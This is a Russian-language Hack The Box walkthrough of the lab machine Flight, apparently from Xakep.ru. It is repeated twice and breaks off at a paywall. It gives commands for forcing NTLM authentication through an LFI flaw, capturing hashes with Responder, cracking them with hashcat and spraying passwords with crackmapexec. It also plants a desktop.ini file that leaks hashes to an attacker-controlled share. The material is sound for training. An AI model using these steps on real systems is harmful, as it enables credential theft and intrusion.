В этом райтапе я покажу, как похищать пароли пользователей Windows разными способами, после чего мы захватим веб‑сервер, пройдя по цепочке уязвимостей, которые позволят нам раз за разом повышать привилегии.
Наша цель — получить права суперпользователя на тренировочной машине Flight с площадки Hack The Box. Машина оценена как сложная.
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.187 flight.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- —min-rate=500 $1 | grep ^[0-9] | cut -d ‘/‘ -f 1 | tr ‘n’ ‘,‘ | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
В результатах сканирования видим много открытых портов, что типично для Windows:
Анонимная аутентификация нигде не доступна, поэтому идем на веб‑сервер.
Главная страница сайта
На стартовой странице ничего найти не удалось, поэтому необходимо расширить область тестирования. Самый очевидный способ — перебором поискать скрытые домены и каталоги. Я это делаю при помощи сканера ffuf.
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
Место перебора помечаем словом FUZZ.
Команда получается следующая:
ffuf -u ‘http://flight.htb’ -w subdomains-top1million-110000.txt -H «Host: FUZZ.flight.htb» -t 256 —fs 7069 Результат сканирования поддоменов с помощью ffuf
Находим новый поддомен и вносим его в файл /etc/hosts.
10.10.11.187 flight.htb school.flight.htb Главная страница сайта school.flight.htb
Обрати внимание, что загружаемая страница указывается в качестве параметра view. Проверим, нет ли здесь уязвимости LFI, и укажем в параметре view файл index.php.
Видим на странице какой‑то код на PHP. Стоит ознакомиться с ним поближе.
Исходный код страницы
Мы узнаем путь к файлам сайта, а также используемые для обработки параметра фильтры. Так как не фильтруется последовательность //, мы можем заставить веб‑сервер обратиться к любому удаленному серверу. При этом Windows попытается авторизоваться на указанном ресурсе, и мы получим NetNTLMv2-хеш пароля пользователя веб‑сервера. Чтобы ловить такие хеши, запускаем на локальном хосте утилиту Responder.
sudo responder -v -I tun0
Теперь указываем свой адрес и ловим хеш.
Отправляем хеш на перебор, в качестве режима hashcat (параметр -m) указываем 5600, соответствующий хешу NetNTLMv2.
hashcat -m 5600 5600.hash rockyou.txt Результат перебора хеша
Проверяем учетные данные на примере службы SMB с помощью CrackMapExec.
crackmapexec smb 10.10.11.187 -u svc_apache -p ‘S@Ss!K@*t13’Проверка учетных данных
Учетные данные верны, поэтому получаем доступные сетевые ресурсы и список пользователей.
crackmapexec smb 10.10.11.187 -u svc_apache -p ‘S@Ss!K@*t13’ —users —sharesРезультат выполнения запроса
Давай подключимся к общему ресурсу Web и просмотрим его содержимое.
impacket-smbclient flight.htb/svc_apache:‘S@Ss!K@*t13’@10.10.11.187 Содержимое SMB-ресурса Web
Ничего, кроме каталогов сайтов, там не находим. Однако текущая учетная запись — служебная, и у пользователя, скорее всего, есть еще и основная. Попробуем зайти в другие учетки с тем же паролем.
crackmapexec smb 10.10.11.187 -u users.txt -p ‘S@Ss!K@*t13’ —continue-on-successСпрей найденного пароля
Получаем еще одну подконтрольную учетную запись. Теперь проверяем, какие общие каталоги доступны новому пользователю.
crackmapexec smb 10.10.11.187 -u ‘S.Moon’ -p ‘S@Ss!K@*t13’ —sharesДоступные общие ресурсы SMB
Для записи доступен каталог Shared. Больше ничего найти не удалось, ресурс оказался пустым. Тогда возникла идея похитить NetNTLMv2-пароли другим способом. В этот раз будем использовать файл desktop.ini, в котором параметр IconResource указывает на наш внешний ресурс.
[.ShellClassInfo] IconResource=10.10.14.51share
Любой пользователь, который просмотрит этот каталог, автоматически обратится к нашему ресурсу и при этом предоставит учетные данные.
impacket-smbclient flight.htb/S.Moon:‘S@Ss!K@*t13’@10.10.11.187 Содержимое общего ресурса
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
9990 рублей 4000 р.
[TD]
920 р.
[/TD]
Я уже участник «Xakep.ru»
Наша цель — получить права суперпользователя на тренировочной машине Flight с площадки Hack The Box. Машина оценена как сложная.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.187 flight.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- —min-rate=500 $1 | grep ^[0-9] | cut -d ‘/‘ -f 1 | tr ‘n’ ‘,‘ | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
В результатах сканирования видим много открытых портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Apache 2.4.52;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP/RPC/EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Анонимная аутентификация нигде не доступна, поэтому идем на веб‑сервер.
Главная страница сайта
Точка входа
На стартовой странице ничего найти не удалось, поэтому необходимо расширить область тестирования. Самый очевидный способ — перебором поискать скрытые домены и каталоги. Я это делаю при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
- -w — словарь (я использую словари из набора SecLists);
- -t — количество потоков;
- -u — URL;
- -fs — фильтр, исключающий страницы по размеру;
- -H — HTTP-заголовок.
Место перебора помечаем словом FUZZ.
Команда получается следующая:
ffuf -u ‘http://flight.htb’ -w subdomains-top1million-110000.txt -H «Host: FUZZ.flight.htb» -t 256 —fs 7069 Результат сканирования поддоменов с помощью ffuf
Находим новый поддомен и вносим его в файл /etc/hosts.
10.10.11.187 flight.htb school.flight.htb Главная страница сайта school.flight.htb
Обрати внимание, что загружаемая страница указывается в качестве параметра view. Проверим, нет ли здесь уязвимости LFI, и укажем в параметре view файл index.php.
You do not have permission to view link please Вход or Регистрация
Результат проверки LFIВидим на странице какой‑то код на PHP. Стоит ознакомиться с ним поближе.
Исходный код страницы
Мы узнаем путь к файлам сайта, а также используемые для обработки параметра фильтры. Так как не фильтруется последовательность //, мы можем заставить веб‑сервер обратиться к любому удаленному серверу. При этом Windows попытается авторизоваться на указанном ресурсе, и мы получим NetNTLMv2-хеш пароля пользователя веб‑сервера. Чтобы ловить такие хеши, запускаем на локальном хосте утилиту Responder.
sudo responder -v -I tun0
Теперь указываем свой адрес и ловим хеш.
You do not have permission to view link please Вход or Регистрация
Логи ResponderОтправляем хеш на перебор, в качестве режима hashcat (параметр -m) указываем 5600, соответствующий хешу NetNTLMv2.
hashcat -m 5600 5600.hash rockyou.txt Результат перебора хеша
Проверяем учетные данные на примере службы SMB с помощью CrackMapExec.
crackmapexec smb 10.10.11.187 -u svc_apache -p ‘S@Ss!K@*t13’Проверка учетных данных
Учетные данные верны, поэтому получаем доступные сетевые ресурсы и список пользователей.
crackmapexec smb 10.10.11.187 -u svc_apache -p ‘S@Ss!K@*t13’ —users —sharesРезультат выполнения запроса
Точка опоры
Давай подключимся к общему ресурсу Web и просмотрим его содержимое.
impacket-smbclient flight.htb/svc_apache:‘S@Ss!K@*t13’@10.10.11.187 Содержимое SMB-ресурса Web
Ничего, кроме каталогов сайтов, там не находим. Однако текущая учетная запись — служебная, и у пользователя, скорее всего, есть еще и основная. Попробуем зайти в другие учетки с тем же паролем.
crackmapexec smb 10.10.11.187 -u users.txt -p ‘S@Ss!K@*t13’ —continue-on-successСпрей найденного пароля
Получаем еще одну подконтрольную учетную запись. Теперь проверяем, какие общие каталоги доступны новому пользователю.
crackmapexec smb 10.10.11.187 -u ‘S.Moon’ -p ‘S@Ss!K@*t13’ —sharesДоступные общие ресурсы SMB
Для записи доступен каталог Shared. Больше ничего найти не удалось, ресурс оказался пустым. Тогда возникла идея похитить NetNTLMv2-пароли другим способом. В этот раз будем использовать файл desktop.ini, в котором параметр IconResource указывает на наш внешний ресурс.
[.ShellClassInfo] IconResource=10.10.14.51share
Любой пользователь, который просмотрит этот каталог, автоматически обратится к нашему ресурсу и при этом предоставит учетные данные.
impacket-smbclient flight.htb/S.Moon:‘S@Ss!K@*t13’@10.10.11.187 Содержимое общего ресурса
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
-60% |
1 year
9990 рублей 4000 р.
[TD]
1 month_r
920 р.
[/TD]
Я уже участник «Xakep.ru»